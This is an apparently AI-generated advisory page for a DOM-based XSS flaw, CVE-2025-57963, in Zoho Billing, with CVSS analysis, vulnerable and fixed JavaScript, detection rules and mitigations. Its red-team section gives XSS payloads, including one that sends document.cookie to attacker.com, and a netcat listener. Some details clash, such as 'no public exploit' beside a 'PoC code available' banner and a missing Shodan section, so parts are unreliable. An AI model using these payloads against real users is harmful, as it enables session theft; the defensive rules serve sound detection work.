CVE-2025-57963
Executive Summary
CVE-2025-57963 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in Zoho Billing (formerly Zoho Subscriptions) versions up to and including 4.1. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. With a CVSS score of 6.5 (Medium), this flaw requires user interaction but can lead to session hijacking, data theft, or defacement. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a proprietary SaaS product (Zoho Billing) and is not associated with open-source packages like NPM, PyPI, Go, or Ruby. Therefore, no supply chain package security analysis is applicable.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): Low – Limited impact on service availability.
Threat Level: Medium. While the CVSS score is moderate, the DOM-based nature of the XSS can bypass traditional server-side filters, making it dangerous in environments with weak client-side security controls.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS, meaning the attack payload is executed entirely on the client side without being sent to the server. In Zoho Billing, user-controlled input (e.g., URL fragments, query parameters, or stored data) is improperly sanitized before being inserted into the DOM via JavaScript. An attacker can craft a malicious URL containing a JavaScript payload (e.g., #<script>alert('XSS')</script>) that, when visited by an authenticated user, executes in the context of the Zoho Billing application.
Root Cause: The application uses document.write, innerHTML, or similar DOM manipulation methods without proper encoding or validation of user input. This allows the attacker to break out of the intended context and inject arbitrary HTML/JavaScript.
Attack Flow:
- Attacker crafts a malicious link:
https://billing.zoho.com/somepage#<img src=x onerror=alert(1)> - Victim clicks the link while logged into Zoho Billing.
- The browser parses the URL fragment and passes it to a vulnerable JavaScript function.
- The function inserts the unescaped input into the DOM, executing the injected script.
- The script can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates a typical vulnerable pattern and its secure counterpart.
Vulnerable Code (JavaScript):
// Vulnerable: Directly inserting user input into DOM
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;
Patched Code (Secure):
// Patched: Using textContent to prevent HTML injection
var userInput = window.location.hash.substring(1);
document.getElementById('output').textContent = userInput;
Explanation: The vulnerable code uses innerHTML, which interprets the input as HTML. The patched code uses textContent, which treats the input as plain text, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A Zoho Billing instance (version <= 4.1)
- A victim user with an active session
Exploitation Steps:
- Identify a vulnerable endpoint that reflects user input from the URL fragment or query string.
- Craft a payload that executes JavaScript, e.g.,
#<img src=x onerror=alert(document.cookie)>. - Encode the payload if necessary (e.g., URL encoding).
- Send the malicious link to the victim via email, chat, or social engineering.
- When the victim clicks the link, the script executes, exfiltrating session cookies or performing actions.
Example Payload:
#<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
Lab Setup:
- Use a local Zoho Billing instance (if available) or a test environment.
- Set up a simple HTTP server to capture exfiltrated data (e.g.,
nc -lvnp 80). - Use a browser with developer tools to inspect DOM manipulation.
Blue Team (Defensive)
Detection:
- Monitor for unusual URL fragments containing HTML tags or JavaScript event handlers.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Implement input validation and output encoding on the client side.
Mitigation:
- Apply the vendor patch when available.
- Use
textContentinstead ofinnerHTMLfor dynamic content. - Sanitize user input using libraries like DOMPurify.
Lab Setup:
- Deploy a web application firewall (WAF) with XSS rules.
- Use browser extensions (e.g., NoScript) to block scripts.
- Simulate attacks in a sandboxed environment to test defenses.
Indicators of Compromise (IOCs)
- Network IOCs:
- URLs containing
#<script>or#<imgpatterns - Outbound connections to unknown domains from Zoho Billing pages
- URLs containing
- Host IOCs:
- Unexpected JavaScript execution in browser console
- Unauthorized cookie modifications
- Log IOCs:
- Web server logs showing requests with encoded XSS payloads in URL fragments
Detection Engineering
YARA Rule
rule CVE_2025_57963_DOM_XSS {
meta:
description = "Detects DOM-based XSS patterns in Zoho Billing"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-57963"
strings:
$payload1 = /#<[^>]*on\w+\s*=/i
$payload2 = /#<script[^>]*>/i
$payload3 = /#<img[^>]*src\s*=\s*[^>]*onerror/i
condition:
any of them
}
Sigma Rule
title: DOM-Based XSS in Zoho Billing
id: 8a3f7c2e-5d1b-4a9e-8c6f-2e7b3a1d9f0c
status: experimental
description: Detects potential DOM-based XSS attacks against Zoho Billing
author: Valters IT
date: 2025-04-10
logsource:
category: web
product: zoho_billing
detection:
selection:
cs-uri-query|contains:
- '#<script'
- '#<img'
- '#<svg'
- '#<iframe'
condition: selection
falsepositives:
- Legitimate use of hash fragments for navigation
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-57963 DOM-Based XSS Attempt"; flow:to_server,established; content:"#<"; http_uri; pcre:"/#<(script|img|svg|iframe)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Apply the vendor patch as soon as it becomes available. Currently, no patch exists, so monitor Zoho's security advisories.
- Input Validation: Implement strict client-side input validation for all URL fragments and query parameters.
- Output Encoding: Use
textContentorsetAttributeinstead ofinnerHTMLfor dynamic content. - Content Security Policy (CSP): Deploy a CSP header that restricts script sources and disallows inline scripts.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none' - Web Application Firewall (WAF): Configure WAF rules to block requests containing XSS patterns in URL fragments.
Long-Term Measures:
- Conduct regular security code reviews focusing on DOM manipulation.
- Use automated scanners to detect DOM-based XSS.
- Educate users about phishing links and safe browsing practices.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.